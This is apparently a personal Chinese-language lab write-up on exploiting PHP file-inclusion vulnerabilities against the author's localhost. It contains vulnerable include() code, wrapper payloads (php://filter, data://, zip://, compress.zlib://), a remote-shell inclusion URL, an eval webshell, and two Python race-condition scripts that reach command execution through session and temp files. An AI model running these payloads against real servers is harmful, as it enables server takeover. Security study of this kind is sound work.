文件包含
主要漏洞函数为:
include()
include_once()
require()
require_once()
用于包含一个指定文件。
利用思路
漏洞代码如下:
<?php
$filename = $_GET['file'];
include($filename);
?>
通过PHP伪协议读取源码
http://localhost/baohan.php/?file=php://filter/read=convert.base64-encode/resource=timu.php
当然也可以用其他的过滤器如string.rot13:
http://localhost/baohan.php/?file=php://filter/read=string.rot13/resource=baohan.php
不过没base64好用就是了,读取后base64解码即可
allow_url_include开启
allow_url_include在php5.2版本后就默认关闭 而allow_url_fopen默认开启
- 1.直接包含远程服务器shell
http://localhost/baohan.php/?file=47.112.188.203/shell/phpinfo.php
- 2.通过伪协议写入数据流
http://localhost/baohan.php/?file=php://input
http://localhost/baohan.php/?file=data://text/plain;base64,PD9waHAgIHBocGluZm8oKTs/Pg==
allow_url_include关闭的情况下
当allow_url_include关闭时会禁止包含ftp://和http://
- smb远程包含
但smb使用的是windows的共享服务(只有windows有smb协议,可以远程去读取,smb服务器方需要开启137,138,139,445端口)
由于国内运营基本关闭了445端口,搭建后尝试并不能远程访问,所以在本地尝试
按照教程搭建无需访问凭证的samba服务器后尝试包含:
文件夹中可以打开,且无需任何凭证,说明搭建成功,但用include去包含时却出现了问题
路径似乎没有被解析,在尝试切换php版本,直接包含路径后均无果,直接报错。
- webdav远程包含
docker一键创建后复现失败,并不能远程访问。尝试手动搭建webdav服务器
安利这篇博文:https://www.anquanke.com/post/id/201060
手动搭建后用浏览器能访问webdav中共享内容,但是尝试包含时依然会报错。但和smb不同的是有一个明显的加载过程,浏览器会加载一段时间,然后返回报错信息。没排查出来是哪儿出了问题
同时也查到了webdav远程加载不能直接加载一句话木马,因为无法追加get和post的内容,需要通过用远程加载文件写马的方式getshell。
结合文件上传
- 包含图片马
文件上传漏洞中无法直接执行的图片马就可以通过包含getshell
- zip://伪协议包含zip文件
将shell放在zip文件中并改为需要的后缀名上传,用zip://协议去读取
payload:file=zip://d:/demo/zipshell.jpg%231.php
(1.php是zipshell.zip内的文件)
- phar://包含文件
直接采用上面的shell压缩包文件即可。
- zlib://,bzip2://包含文件
因为前面用到了zip://,phar://两个压缩的封装协议,由此想到了其他两个压缩封装协议zlib://和bzip2://,猜测应该也能包含成功。
将1.php(内容为<?php phpinfo();>
)压缩为1.php.gz,用zlib://协议去读
payload:file=compress.zlib://1.php.gz
可以看到这里能够成功包含,这个点暂时还没在网上看到过,或许能成为以后一个好的绕过思路。
(bzip2://没有尝试23333,我的压缩软件好像并不支持bz压缩,但是bzip://和zlib://基本一致,只不过一个读取的是gz一个读取的是bz,所以个人认为应该可以成功。)
本地文件包含
- 包含日志文件
通过burp修改访问地址为<?php phpinfo();>访问后,再包含日志文件即可
直接通过浏览器修改会被地址栏转码导致无法构造,同时,我用fidder抓包修改也出现了一些奇怪的问题导致无法getshell,还是推荐burp。
不同的环境也有不同的路径,找到一篇博文,上面有比较全面的常见路径:https://blog.csdn.net/qq_33020901/article/details/78810035
- phpinfo-LFI本地文件包含
按照文章的理解表述一下- -
在以上传文件的方式请求php文件时php的处理方式:
请求到达->创建临时文件->调用php脚本处理->删除临时文件
所以向表单中插入垃圾数据延长临时文件的存在时间
同时,也可以通过分块传输减慢临时文件的存在时间
当上传含有payload表单的时候,向phpinfo界面寻找tmp_name,即为临时文件的名字和地址。同时让有文件包含漏洞的php页面去包含临时文件并执行payload,写马,完成整个过程
- session + lfi
这是利用了向session.upload_progress这个点(php.ini默认配置即可复现),向session文件里写入恶意代码并包含。由于session文件文件名已知(为sess_[phpsessid])且会在短时间内删除,所以用条件竞争即可,不停的写入session文件的同时不停用文件包含的点去包含。
网上找了个现成的脚本就复现成功了
可以看到返回了whoami的命令结果。
- php崩溃 + lfi
用php5.6.40的版本进行了尝试,只有报错,没有崩溃。切换到了php7的版本后,确实造成了崩溃。观察了php_error.log,发现如下…
查询发现为耗尽内存而导致php崩溃。写了个脚本
import requests
import threading
import io
import time
def write(session):
i=0
while i<1000:
i=i+1
f = io.BytesIO(b'a' * 1024 * 50+b'<?php phpinfo();?>')
resp = session.post( 'http://127.0.0.1/baohan.php?file=php://filter/string.strip_tags/resource=12.txt', files={'file': ('1.txt',f)} )
def getshell(num):
time.sleep(30)
num=int(num)-1
namelist=[]
for i in range(4096*num+1,4096*(num+1)+1):
num=hex(i).replace('0x','')
namelist.append(num)
#print(namelist)
error='failed to open stream'
for t in namelist:
target='http://127.0.0.1/baohan.php?file=g:/wamp64/tmp/php'+t+'.tmp'
print('[+]start:'+target)
r=requests.get(target)
if 'phpinfo' in r.text:
print('[+]got it!you can see it at:\n'+target)
break
else:
continue
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,40):
threading.Thread(target=write,args=(session,)).start()
event.set()
for i in range(1,17):
threading.Thread(target=getshell,args=(i,)).start()
成功执行。另外,有搜到这个方法只适用于如下版本
• php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复
• php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复
• php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
我的wamp只有7.0.33这个版本可行…所以没测试其他版本了。
参考自:https://www.wandouip.com/t5i401817/
P.S. 在session + lfi的复现过程中发现也有php临时文件留下
在条件竞争不断发包的过程中能看到不断有临时文件生成和删除,不过结束脚本后却有不少临时文件留下。且文件名并不是php+随机四位数字加字母.tmp,运行的时候会很明显的发现,它的顺序应该是php1开始,然后php2,php3…php10,phpa,phpb…phpffff,4位按照16进制进行排序(似乎会从上次结束的地方开始),当满了过后又重新从1开始,因为是运行完就删除的,所以并不存在会不够的情况。
稍微修改了一下代码,发现的确可以写入,且随着脚本运行时间越长,留下的文件会越多。
做了很多尝试,不知道为啥,只有那个脚本的写法能留下临时文件,暂时不知道为什么,猜测是某个地方导致了php崩溃导致留下了文件,但不知道是哪儿…下面是我尝试过的一些方式
普通用while true的post上传文件—->并不会留下临时文件
上传的同时也向session文件写入代码—–>并不会留下临时文件
普通post上传并开另一个线程不断去访问前面上传的点(我在baohan.php提交的表单,访问也访问的baohan.php)—->并不会留下临时文件
普通post上传并开一个线程用baohan.php去包含一个存在/不存在的文件—->并不会留下临时文件
上传同时向session文件写入代码并包含一个存在/不存在的文件/已存在的session文件—->并不会留下临时文件
最后发现好像是因为第二次包含的时候post过去的数据和第一次向session文件写入的eval($_POST[])产生了交互..?并不是一定会触发,因为命令被执行的次数和生成的未删除临时文件数目完全不相等,但无论是去掉写入session文件的eval还是去掉第二次包含post过去的代码都不会产生未删除的临时文件
直接用那个脚本改了下,因为名字很短且很有特点,可以直接跑那个脚本,跑出临时文件,然后从1到ffff去爆破,爆破出一个就成了
#coding=utf-8
import io
import requests
import threading
import time
sessid = 'shEll'
data = {"cmd":"system('whoami');"}
def write(session):
i=0
while i<500:
i=i+1
f = io.BytesIO(b'a' * 1024 * 50+b'<?php phpinfo();?>')
resp = session.post( 'http://127.0.0.1/baohan.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
i=0
while i<500:
i=i+1
resp = session.post('http://127.0.0.1/baohan.php?file=g:/wamp64/tmp/sess_'+sessid,data=data)
def getshell(num):
time.sleep(30)
num=int(num)-1
namelist=[]
for i in range(4096*num+1,4096*(num+1)+1):
num=hex(i).replace('0x','')
namelist.append(num)
#print(namelist)
error='failed to open stream'
for t in namelist:
target='http://127.0.0.1/baohan.php?file=g:/wamp64/tmp/php'+t+'.tmp'
print('[+]start:'+target)
r=requests.get(target)
if error in r.text:
continue
else:
print('[+]got it!you can see it at:\n'+target)
break
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,40):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,40):
threading.Thread(target=read,args=(session,)).start()
event.set()
for i in range(1,17):
threading.Thread(target=getshell,args=(i,)).start()
可以看到确实能成功getshell,只不过感觉条件比较苛刻…?或许该研究一下该怎么定向让php崩溃,结合这个点就可以无需phpinfo界面getshell
另外,我也发现sess文件中也存在一些文件莫名其妙的保留了下来,比如这个dvwa留下的session文件,也尝试过写入但是无果,且我每在dvwa界面做什么操作,该文件的修改日期都会更新,但内容从来不变
顺便记录一个回显临时目录的代码,说不定会有用:
<?php
$temp_file = tempnam(sys_get_temp_dir(), 'aaa');
echo $temp_file."\n";
大概内容就这么多。